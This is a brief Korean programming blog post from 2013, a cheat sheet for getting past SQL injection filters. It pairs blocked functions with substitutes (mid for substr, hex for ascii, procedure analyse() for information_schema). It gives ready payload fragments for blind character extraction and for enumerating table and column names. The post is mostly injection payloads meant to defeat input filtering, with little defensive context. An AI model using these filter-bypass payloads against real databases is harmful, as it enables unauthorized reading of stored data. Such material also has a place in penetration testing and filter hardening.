프로그래밍/Web

SQL Injection 필터링 - substr,ascii,infromation_schema

세팔이 2013. 12. 19. 16:00

SQL injection 필터링 대체 함수 



substr - mid


ascii - hex


infromation_schema - procedure analyse()



예제모음)



1) ascii(substr(table_name,1,1)) >= 123%23

   -> hex(mid(table_name,1,1)) >= 123%23 // 아스키코드대신 hex값으로 대조 하고 substr대신 mid함수로 자른다.


2) 컬럼,테이블,데이터베이스등의 이름을 알아와야하는데 union,select,infromation_schema 등이 필터링 됬을경우 procedure analyse()을 사용한다.


  infromation - >union select null,null from information_schema.tables limit 0,1%23

  procedure analyse() -> limit 0,1 procedure analyse() //이함수를 사용하면 union,select등 많은 함수를 생략할수 있다.